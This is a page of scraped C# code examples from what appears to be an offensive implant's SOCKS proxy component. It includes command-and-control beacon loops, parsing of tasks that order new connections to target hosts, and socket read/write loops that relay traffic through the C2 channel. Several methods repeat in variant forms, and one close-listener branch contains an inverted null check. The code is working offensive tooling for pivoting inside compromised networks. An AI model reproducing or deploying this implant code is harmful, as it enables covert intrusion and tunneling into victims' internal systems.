예제 #1
0
 public void StartCommandLoop(SocksController loopController)
 {
     _cancelTokenSource = new CancellationTokenSource();
     _cancelToken = _cancelTokenSource.Token;
     _commandChannelLoop = new System.Threading.Tasks.Task((g) => {
         try
         {
             ImplantComms.LogMessage($"Command loop starting - beacon time is {C2Config.CommandBeaconTime}ms");
             if (!CommandLoop((CancellationToken)g))
             {
                 loopController.StopProxyComms();
                 _error.LogError($"Stopping all proxy comms as command channel is now broken");
                 return;
             }
         }
         catch (Exception ex)
         {
             var lst = new List<String>
             {
                 "Error in command channel loop"
             };
             _error.LogError($"Command Channel loop is broken {ex.Message}, hard stopping all connections");
             loopController.StopProxyComms();
             return;
         }
     }, _cancelToken);
     _commandChannelLoop.Start();
 }
 public void HARDStopAll()
 {
     ImplantComms.LogMessage($"HARD STOP ALL TRIGGERED");
     _targets.Keys.ToList().ForEach(x => {
         HARDStop(x);
     });
 }
 public void StopAll()
 {
     ImplantComms.LogMessage($"Shutdown all connections triggered");
     _targets.Keys.ToList().ForEach(x => {
         Stop(x);
     });
 }
예제 #4
0
 public void StopAll()
 {
     ImplantComms.LogMessage($"Close all triggered");
     _targets.Keys.ToList().ForEach(x => {
         Stop(x);
     });
 }
        public void Stop(String targetId)
        {
            var target = _targets[targetId];

            ImplantComms.LogMessage($"Closing connection to {target.TargetHost}:{target.TargetPort}");
            if (null != target)
            {
                target.Exit = true;
            }
        }
        public bool HARDStop(String targetId)
        {
            var target = _targets[targetId];

            ImplantComms.LogMessage($"HARD STOP ALL ON CONNECTION TO {target.TargetHost}:{target.TargetPort}");
            if (null != target)
            {
                target.Exit = true;
                target.TargetTcpClient.Close();
                return(true);
            }
            else
            {
                return(false);
            }
        }
 public void StartCommandLoop()
 {
     _cancelTokenSource  = new CancellationTokenSource();
     _cancelToken        = _cancelTokenSource.Token;
     _commandChannelLoop = new System.Threading.Tasks.Task((g) => {
         try
         {
             ImplantComms.LogMessage($"Command loop starting - beacon time is {C2Config.CommandBeaconTime}ms");
             _cmdCommsHandler.Send(CommandChannelSessionId, "nochange", UTF8Encoding.UTF8.GetBytes(BuildRequestPayload().ToString()).ToList());
             CommandLoop((CancellationToken)g);
         }
         catch (Exception ex)
         {
             var lst = new List <String>
             {
                 "Error in command channel loop"
             };
             _error.FailError($"Command Channel loop is broken {ex.Message}, Should we HARD STOP ALL Connections?");
         }
     }, _cancelToken);
     _commandChannelLoop.Start();
 }
예제 #8
0
        public void ReadFromSocket()
        {
            var arrayBuffer = new byte[512000];
            var bytectr     = 0;

            while (!Cancel.IsCancellationRequested)
            {
                foreach (var key in Targets.Keys)
                {
                    TargetInfo trget = null;
                    try
                    {
                        if (Targets.ContainsKey(key))
                        {
                            trget = Targets[key];
                        }

                        if (!trget.Exit)
                        {
                            var stream = trget.TargetTcpClient.GetStream();
                            if (Cancel.IsCancellationRequested || trget.Exit)
                            {
                                return;
                            }

                            if (IsConnected(trget.TargetTcpClient.Client))
                            {
                                if (stream.CanRead && stream.DataAvailable)
                                {
                                    int ctr = 0;
                                    bytectr = 0;
                                    do
                                    {
                                        var bytesRead = stream.Read(arrayBuffer, 0, 512000);
                                        bytectr += bytesRead;
                                        if (bytesRead > 0)
                                        {
                                            TotalBytesRead += bytesRead;
                                            trget.ReadQueue.Enqueue(arrayBuffer.Take(bytesRead).ToList());
                                        }
                                        ctr++;
                                    } while (!_timeout.WaitOne(10) && stream.CanRead && stream.DataAvailable);
                                    if (ctr >= 1)
                                    {
                                        RecvedData.Set();
                                        ImplantComms.LogMessage($"[{trget.TargetId}] Socks {trget.TargetTcpClient.Client.RemoteEndPoint.ToString()} read {bytectr} available bytes");
                                    }
                                }
                            }
                            else
                            if (null != trget)
                            {
                                trget.Exit = true;
                            }
                        }
                    }
                    catch
                    {
                        if (null != trget)
                        {
                            trget.Exit = true;
                        }
                    }

                    if (trget?.Exit ?? true)
                    {
                        try { if (null != trget?.TargetTcpClient)
                              {
                                  trget.TargetTcpClient.Close();
                              }
                        }
                        catch { /*Dont relly care if exception thrown here*/ }
                        if (Targets.ContainsKey(key))
                        {
                            Targets.TryRemove(key, out TargetInfo tgexit);
                        }
                        ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed");
                    }
                }
                _timeout.WaitOne(100);
            }
        }
예제 #9
0
        public void SendToTarget()
        {
            var SendWait = new ManualResetEvent(false);

            while (!Cancel.IsCancellationRequested)
            {
                RecvedData.WaitOne(-1);;
                RecvedData.Reset();
                foreach (var key in Targets.Keys)
                {
                    TargetInfo trget = null;
                    try
                    {
                        if (Targets.ContainsKey(key))
                        {
                            trget = Targets[key];
                        }

                        if (null != trget && !trget.Exit)
                        {
                            List <byte> readPyld = null;

                            var payload = new List <byte>();
                            while (trget.ReadQueue.Count > 0)
                            {
                                trget.ReadQueue.TryDequeue(out readPyld);
                                payload.AddRange(readPyld);
                            }
                            if (payload.Count > 0)
                            {
                                Task.Factory.StartNew(() =>
                                {
                                    List <byte> toSend = null;
                                    try
                                    {
                                        toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead);
                                        ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes");
                                        if (null == toSend || connectionDead)
                                        {
                                            ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING");
                                            trget.Exit = true;
                                        }
                                        else if (toSend.Count > 0)
                                        {
                                            trget.WriteQueue.Enqueue(toSend);
                                            SentData.Set();
                                        }
                                    }
                                    catch
                                    {
                                        trget.Exit = true;
                                        ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes");
                                    }
                                });
                                ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back");
                            }
                        }
                        SendWait.WaitOne(BeaconTime);
                    }
                    catch (Exception ex)
                    {
                        if (null != trget)
                        {
                            trget.Exit = true;
                        }
                        ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}");
                    }
                }
            }
        }
예제 #10
0
        public void WriteToSocket()
        {
            while (!Cancel.IsCancellationRequested)
            {
                SentData.WaitOne(-1);
                SentData.Reset();
                foreach (var key in Targets.Keys)
                {
                    TargetInfo    trget  = null;
                    NetworkStream stream = null;
                    try
                    {
                        if (Targets.ContainsKey(key))
                        {
                            trget = Targets[key];
                        }

                        if (null != trget && !trget.Exit)
                        {
                            stream = trget.TargetTcpClient.GetStream();
                            if (trget.WriteQueue.Count > 0)
                            {
                                var         toSend = new List <byte>();
                                List <byte> pyld   = null;
                                while (trget.WriteQueue.Count() > 0)
                                {
                                    trget.WriteQueue.TryDequeue(out pyld);
                                    if (pyld.Count > 0)
                                    {
                                        toSend.AddRange(pyld);
                                    }
                                }
                                if (IsConnected(trget.TargetTcpClient.Client))
                                {
                                    if (toSend != null && toSend.Count() > 0)
                                    {
                                        TotalBytesWritten += toSend.Count;
                                        stream.Write(toSend.ToArray(), 0, toSend.Count());
                                        stream.Flush();
                                        ImplantComms.LogMessage($"[{trget.TargetId}] Written {toSend.Count()} from client");
                                    }
                                }
                                else
                                if (null != trget)
                                {
                                    trget.Exit = true;
                                }
                            }
                        }
                    }
                    catch
                    {
                        if (null != trget)
                        {
                            trget.Exit = true;
                        }
                    }

                    if (!trget?.TargetTcpClient?.Connected ?? false || (trget?.Exit ?? true))
                    {
                        try { if (null != stream)
                              {
                                  stream.Close();
                              }
                        }
                        catch { /*Dont relly care if exception thrown here*/ }

                        try { if (null != trget?.TargetTcpClient)
                              {
                                  trget.TargetTcpClient.Close();
                              }
                        }
                        catch { /*Dont relly care if exception thrown here*/ }
                        if (Targets.ContainsKey(key))
                        {
                            Targets.TryRemove(key, out TargetInfo tgexit);
                        }
                        ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed");
                    }
                }
            }
        }
예제 #11
0
        bool ProxyLoop(String targetId)
        {
            List <byte> toSend              = null;
            bool        timedOut            = false;
            bool        connectionHasFailed = false;
            TargetInfo  target              = null;

            try
            {
                target = _targets[targetId];
                if (null == target)
                {
                    ErrorHandler.LogError("Can't find target for GUID: " + targetId.ToString() + " exiting this proxy loop");
                    return(true);
                }
                var timeout       = 0;
                var timeoutCtr    = 0;
                var serverTimeCtr = 0;

                toSend = CmdCommshandler.Send(targetId, "nochange", null, out bool connectionDead);
                if (null == toSend || connectionDead)                 //Cant't have worked just bail here connection no doubt has been closed
                {
                    ErrorHandler.LogError($"Connection looks dead EXITING");
                    return(false);
                }
                while (!target.Exit && !timedOut)
                {
                    var stream = target.TargetTcpClient.GetStream();
                    if (!target.TargetTcpClient.Connected)
                    {
                        timedOut = true;
                        break;
                    }
                    if (toSend != null && toSend.Count() > 0)
                    {
                        stream.Write(toSend.ToArray(), 0, toSend.Count());
                        stream.Flush();
                        ImplantComms.LogMessage($"Written {toSend.Count()} from client");
                        //Clear out the data to send after it has been sent
                        toSend = null;
                    }

                    while ((null == toSend || toSend.Count() == 0) && !(timedOut = (timeoutCtr > (TOTALSOCKETTIMEOUT / TIMEBETWEENREADS))))
                    {
                        if (stream.DataAvailable)
                        {
                            ImplantComms.LogMessage($"Socks {target.TargetTcpClient.Client.RemoteEndPoint.ToString()} reading {target.TargetTcpClient.Available} bytes");

                            var bytesRead   = 0;
                            var lstBuffer   = new List <byte>();
                            var arrayBuffer = new byte[65535];

                            bytesRead = stream.Read(arrayBuffer, 0, 65535);
                            lstBuffer.AddRange(arrayBuffer.ToList().Take(bytesRead));

                            while (bytesRead > 0 && stream.DataAvailable)
                            {
                                arrayBuffer = new byte[65535];
                                bytesRead   = stream.Read(arrayBuffer, 0, 65535);
                                lstBuffer.AddRange(arrayBuffer.ToList().Take(bytesRead));
                            }

                            //   ImplantComms.HexDump(lstBuffer.ToArray(), 16);

                            if (lstBuffer.Count() > 0)
                            {
                                toSend = CmdCommshandler.Send(targetId, "nochange", lstBuffer, out connectionDead);
                                if (null == toSend || connectionDead)                                 //Cant't have worked just bail here connection no doubt has been closed
                                {
                                    ErrorHandler.LogError($"Connection looks dead EXITING");
                                    return(connectionDead);
                                }
                            }

                            timeout    = 0;
                            timeoutCtr = 0;
                        }
                        else
                        {
                            timeout += TIMEBETWEENREADS;
                            if (timeoutCtr > 1)
                            {
                                //Nothing is being read from the server quick check to see if the client has anything
                                serverTimeCtr += timeout;
                                if ((serverTimeCtr % TIMEBETWEENSERVERSENDS) == 0)
                                {
                                    toSend = CmdCommshandler.Send(targetId, "nochange", null, out connectionDead);
                                    if (null == toSend || connectionDead) //Cant't have worked just bail here connection no doubt has been closed
                                    {
                                        ErrorHandler.LogError($"Connection looks dead EXITING");
                                        return(connectionDead);
                                    }
                                }
                            }
                            Timeout.WaitOne(timeout);
                            timeoutCtr++;
                        }
                    }
                }
                return(true);
            }
            catch (Exception ex)
            {
                ErrorHandler.LogError($"ERROR: {target.TargetTcpClient.Client.RemoteEndPoint.ToString()} {ex.Message}");
                if (null != target && null != target.TargetTcpClient)
                {
                    if (target.TargetTcpClient.Connected)
                    {
                        target.TargetTcpClient.Close();
                    }
                    else
                    {
                        ErrorHandler.LogError($"Target is null {target == null} & target.TargetTcpClient is null {target.TargetTcpClient == null} ");
                    }
                }
            }
            finally
            {
                if (null != target && null != target.TargetTcpClient)
                {
                    if (target.TargetTcpClient.Connected)
                    {
                        target.TargetTcpClient.Close();
                    }
                }

                if (!connectionHasFailed)
                {
                    CmdCommshandler.Send(targetId, "closed", null, out bool connectionDead);
                }
            }
            return(true);
        }
예제 #12
0
        bool ProxyLoop(String targetId)
        {
            List <byte> toSend = null;
            bool        connectionHasFailed = false, connectionDead = false;
            TargetInfo  target = null;

            _mapTargetToCount.Add(targetId, 1);
            var wait = new ManualResetEvent(false);

            try
            {
                target = _targets[targetId];
                if (null == target)
                {
                    ErrorHandler.LogError("Can't find target for GUID: " + targetId.ToString() + " exiting this proxy loop");
                    return(true);
                }

                while (!target.Exit)
                {
                    toSend = CmdCommshandler.Send(target, "nochange", null, out connectionDead);
                    if (null == toSend || connectionDead)
                    {
                        ErrorHandler.LogError($"[{target.TargetId}] Connection looks dead EXITING");
                        return(target.Exit = connectionDead);
                    }
                    else if (toSend.Count > 0)
                    {
                        target.WriteQueue.Enqueue(toSend);
                        socketComms.SentData.Set();
                        _mapTargetToCount[targetId] = 1;
                    }
                    else
                    if (_mapTargetToCount[targetId]++ == 2)
                    {
                        ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request");
                    }
                    else
                    {
                        ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request({_mapTargetToCount[targetId]})");
                    }
                    wait.WaitOne(BeaconTime);
                }
                return(true);
            }
            catch (Exception ex)
            {
                ErrorHandler.LogError($"[{target.TargetId}] ERROR: {target.TargetTcpClient.Client.RemoteEndPoint.ToString()} {ex.Message}");
                if (null != target && null != target.TargetTcpClient)
                {
                    if (target.TargetTcpClient.Connected)
                    {
                        target.TargetTcpClient.Close();
                    }
                    else
                    {
                        ErrorHandler.LogError($"[{target.TargetId}] Target is null {target == null} & target.TargetTcpClient is null {target.TargetTcpClient == null} ");
                    }
                }
            }
            finally
            {
                if (null != target && null != target.TargetTcpClient)
                {
                    if (target.TargetTcpClient.Connected)
                    {
                        target.TargetTcpClient.Close();
                    }
                }

                if (!connectionHasFailed)
                {
                    CmdCommshandler.Send(target, "closed", null, out connectionDead);
                }
            }
            target.Exit = true;
            return(true);
        }
예제 #13
0
        bool CommandLoop(CancellationToken token)
        {
            do
            {
                if (token.IsCancellationRequested)
                    return true;
                var request = BuildRequestPayload();
                var response = _cmdCommsHandler.Send(CommandChannelSessionId, UTF8Encoding.UTF8.GetBytes(request.ToString()).ToList(), out bool CommandChannelDead);

                if (null == response || response.Count() == 0 || CommandChannelDead)
                {
                    if (CommandChannelDead)
                    {
                        _error.LogError($"Command Channel loop is dead. EXITING");
                        return false;
                    }
                }
                else
                {
                    var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(response.ToArray()));
                    var elms = xdoc.XPathSelectElements("Response/Tasks/Task");

                    if (elms.Count() > 0)
                    {
                        ImplantComms.LogMessage($"{elms.Count()} tasks recieved");
                        //We have tasks Queue em up
                        xdoc.XPathSelectElements("Response/Tasks/Task").ToList().ForEach(x =>
                        {
                            var nodeCreate = x.XPathSelectElement("CreateListener");
                            var nodeClose = x.XPathSelectElement("CloseListener");
                            if (nodeCreate != null)
                            {
                                var host = nodeCreate.Attribute("TargetHost").Value;
                                var strPort = nodeCreate.Attribute("TargetPort").Value;
                                var port = ushort.Parse(strPort);
                                var sessionId = nodeCreate.Attribute("SessionID").Value;
                                ImplantComms.LogMessage($"About to open connection to {host}:{strPort}");
                                if (_client.OpenNewConnectionToTarget(sessionId, host, port))
                                    QueueListenerStatus(sessionId, "open");
                                else
                                {
                                    ImplantComms.LogError($"FAILED {host}:{strPort}");
                                    QueueListenerStatus(sessionId, "failed");
                                }
                            }
                            else if (nodeClose == null)
                            {
                                var sessionId = nodeClose.Attribute("SessionID");
                                if (null != sessionId)
                                {
                                    if (!String.IsNullOrWhiteSpace(sessionId.Value))
                                    {
                                        _client.Stop(sessionId.Value);
                                        QueueListenerStatus(sessionId.Value, "closed");
                                    }
                                    else
                                    {
                                        ImplantComms.LogError($"Close session id message is null");
                                    }
                                }
                            }
                            else
                                return;
                        });
                    }
                    //Sleep til we need to beacon again
                    //TO DO: Add in Jitter time, not curenntly implemented
                    if (token.IsCancellationRequested)
                        return true;
                }
                Timeout.WaitOne(C2Config.CommandBeaconTime);
            }
            while (!token.IsCancellationRequested);
            return true;
        }